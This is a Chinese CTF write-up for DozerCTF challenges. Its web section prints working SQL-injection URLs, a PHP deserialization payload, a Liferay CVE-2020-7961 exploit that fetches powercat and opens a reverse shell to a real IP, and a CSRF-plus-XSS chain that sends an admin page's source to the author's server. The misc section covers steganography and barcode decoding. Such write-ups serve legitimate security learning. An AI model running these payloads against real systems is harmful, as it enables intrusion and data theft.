WEB
sqli-labs 0
- 一开始也不知道咋做后面看了Hint提示url二次编码。发现单引号是url二次编码绕过。
- 但是一些关键字如select、union等被过滤了。尝试内联注释、注释、<>等绕过方法无果。后尝试堆叠注入发现成功。
http://118.31.11.216:30501/?id=1%2527;show%20tables;--+
- 想起了令人深刻的强网杯随便注。老套路查字段。
http://118.31.11.216:30501/?id=1%2527;show%20columns%20from%20uziuzi;--+
- 预处理查询数据库内容,这里卡了一会,直接拼接字符串没法执行,所以把字符串转16进制再执行,还有prepare、set这里做了过滤和强网杯一样,利用大小写不敏感直接绕过,直接得到flag.
http://118.31.11.216:30501/?id=0%2527%20;set%20@sql%20=0x73656c6563742a66726f6d60757a69757a6960;Prepare%20stmt%20from%20@sql;EXECUTE%20stmt;--+
白给的反序列化
- 一开始没看题,一直去读
/flag
导致卡了一下,没啥绕过的,主要要改写一下payload,由于使用private
,会导致生成的payload有<0x00>所以需要绕过一下,而且服务器的php版本是php5.59,没法直接改成public绕过,所以需要吧s改成S(这样能识别16进制的%00
),把<0x00>替换为\00
.
http://118.31.11.216:30600/?path=O:4:%22home%22:2:{S:12:%22\00home\00method%22;s:5:%22mysys%22;S:10:%22\00home\00args%22;a:1:{i:0;s:8:%22flag.php%22;}}
- EXP
<?php
class home
{
private $method;
private $args;
function __construct($method, $args)
{
$this->method = $method;
$this->args = $args;
}
}
$o = new home("mysys",['flag.php']);
echo serialize($o);
?>
简单域渗透-flag1
这道题抢了2血,看到界面就知道了是最近的CVE-2020-7961 Liferay Portal
先搞个EXP,用powershell反弹一个shell到服务器:
public class LifExp {
static {
try {
String[] cmd = {"cmd.exe", "/c", "powershell IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1'); powercat -c 39.107.126.173 -p 25565 -e cmd"};
java.lang.Runtime.getRuntime().
exec(cmd).waitFor();
} catch ( Exception e ) {
e.printStackTrace();
}
}
}
- 编译成class放服务器上。
javac .\LifExp.java
- 用marshalsec生成payload
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.Jackson C3P0WrapperConnPool http://39.107.126.173/ LifExp
- 发送数据包
- 反弹shell后,flag在桌面的flag.txt
fake phpminiadmin
- 这道题拿了3血。题目提示是一个前端漏洞,前端漏洞也就csrf、xss了。nc监听,给网站交一个我们的链接看看:
- 看到
admin_shark.php
,不用想了肯定flag就在这个页面了,我们要做的就是把这个页面的源码窃取到。在线上打开这个也印证了这点:
- 这里是一个类似phpmyadmin的东西,查询时候能直接打印出字符串,这样我们就能够构造一个xss去窃取
admin_shark.php
页面源码,但是sql.php
需要POST提交无法直接提交这个链接给后台管理员,所以需要构造一个自动提交的表单来csrf触发这个xss.思路很简单了。画个图说明一下:
- 这里插入xss到数据库需要注意做了简单的过滤,只需将payload转16进制再
unhex
转回来就行了,不过这我是搭了一血的车,我直接把他的xss地址换成我的了:
- 构造自动查询表单来触发csrf,exp.html
<html>
<body>
<script>history.pushState('', '', '/')</script>
<form name="exp" action="http://127.0.0.1/sql.php" method="POST">
<input type="hidden" name="sql" value="select * from p1g3" />
</form>
<script type="text/javascript">
document.exp.submit()
</script>
</body>
</html>
- 构造获取页面源码的xss
function createXmlHttp() {
if (window.XMLHttpRequest) {
xmlHttp = new XMLHttpRequest()
} else {
var MSXML = new Array('MSXML2.XMLHTTP.5.0', 'MSXML2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP', 'Microsoft.XMLHTTP');
for (var n = 0; n < MSXML.length; n++) {
try {
xmlHttp = new ActiveXObject(MSXML[n]);
break
} catch(e) {}
}
}
}
createXmlHttp();
xmlHttp.onreadystatechange = function(){
if (xmlHttp.readyState == 4) {
code=escape(xmlHttp.responseText);
createXmlHttp();
url = "http://39.107.126.173:8080/re.php"; //这里是我们服务器接受的地址
cc = "htmlcode=" + code +"&filename=index.html";
xmlHttp.open("POST", url, true);
xmlHttp.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
xmlHttp.send(cc)
}
};
xmlHttp.open("GET", "/admin_shark.php", true);//这块填写获得的后台地址。
xmlHttp.setRequestHeader("Referer", "http://127.0.0.1/");
xmlHttp.send(null);
- 接收页面源码的exp:
<?php
function js_unescape($str) {
$ret = '';
$len = strlen($str);
for ($i = 0;$i < $len;$i++) {
if ($str[$i] == '%' && $str[$i + 1] == 'u') {
$val = hexdec(substr($str, $i + 2, 4));
if ($val < 0x7f) $ret.= chr($val);
else if ($val < 0x800) $ret.= chr(0xc0 | ($val >> 6)) . chr(0x80 | ($val & 0x3f));
else $ret.= chr(0xe0 | ($val >> 12)) . chr(0x80 | (($val >> 6) & 0x3f)) . chr(0x80 | ($val & 0x3f));
$i+= 5;
} else if ($str[$i] == '%') {
$ret.= urldecode(substr($str, $i, 3));
$i+= 2;
} else $ret.= $str[$i];
}
return $ret;
}
$data = js_unescape($_POST['htmlcode']); //对获得源码js_unescape解码。
$filename = $_POST['filename'] . date("y-m-d-h-i-s") . ".html";
$myfile = fopen($filename, "w");
fwrite($myfile, $data);
fclose($myfile);
?>
- 这样我们在提交url给后台时候就会自动跳转的sql.php触发xss窃取
admin_shark.php
的源码,源码会保存在我们的服务器中。
MISC
py吗?
- 一张老外穿着python文化衫的图片。
- 修一下高度让他恢复正常的crc32校验以便其他软件能够打开:
- 国际惯例:Stegsolve->Analyse->Data Extract
- 发现base64,解码得到flag.
Dozerctf{python_is_the_best_language!}
夏日计划
- 下载下来按照国际惯例010打开,发现是一个RAR压缩文件
- 直接解压会发现少几个文件,所以直接从里面拉出来就行了
- 会发现secret.rar是损坏的,所以直接用winrar修复会发现里面有四个文件,里面的内容全是两两相对,非常像坐标。
- 而且,这些坐标正好是一个X长度为140,Y的长度为140的平面直角坐标系,一个正方形不用猜都能想到是一个二维之类的的东西了,于是乎kail linux启动用
gnuplot
把四个文件合成一个qt.txt,生成一个二维试试看
root@kali:~/桌面# gnuplot
G N U P L O T
Version 5.2 patchlevel 8 last modified 2019-12-01
Copyright (C) 1986-1993, 1998, 2004, 2007-2019
Thomas Williams, Colin Kelley and many others
gnuplot home: http://www.gnuplot.info
faq, bugs, etc: type "help FAQ"
immediate help: type "help" (plot window: hit 'h')
Terminal type is now 'qt'
gnuplot> plot "qt.txt"
qt5ct: using qt5ct plugin
gnuplot>
- 刚刚在网鼎杯被虐完,怎么可能不知道这是一个汉信码。photoshop,去色,反相,拉曲线,作为一名
CTF患者
怎么可能不会PS?,于是得到一张汉信码。
- 这里一定要吐槽一下,全网识别这个东西的网站就一个。。。今天它还蹦了,汉信码官网识别不了汉码官网生成的汉信码。我裂开了,最后找出题的师傅提供了
解题过程
,解决了。。。。万分感谢。
问卷调查
- 填问卷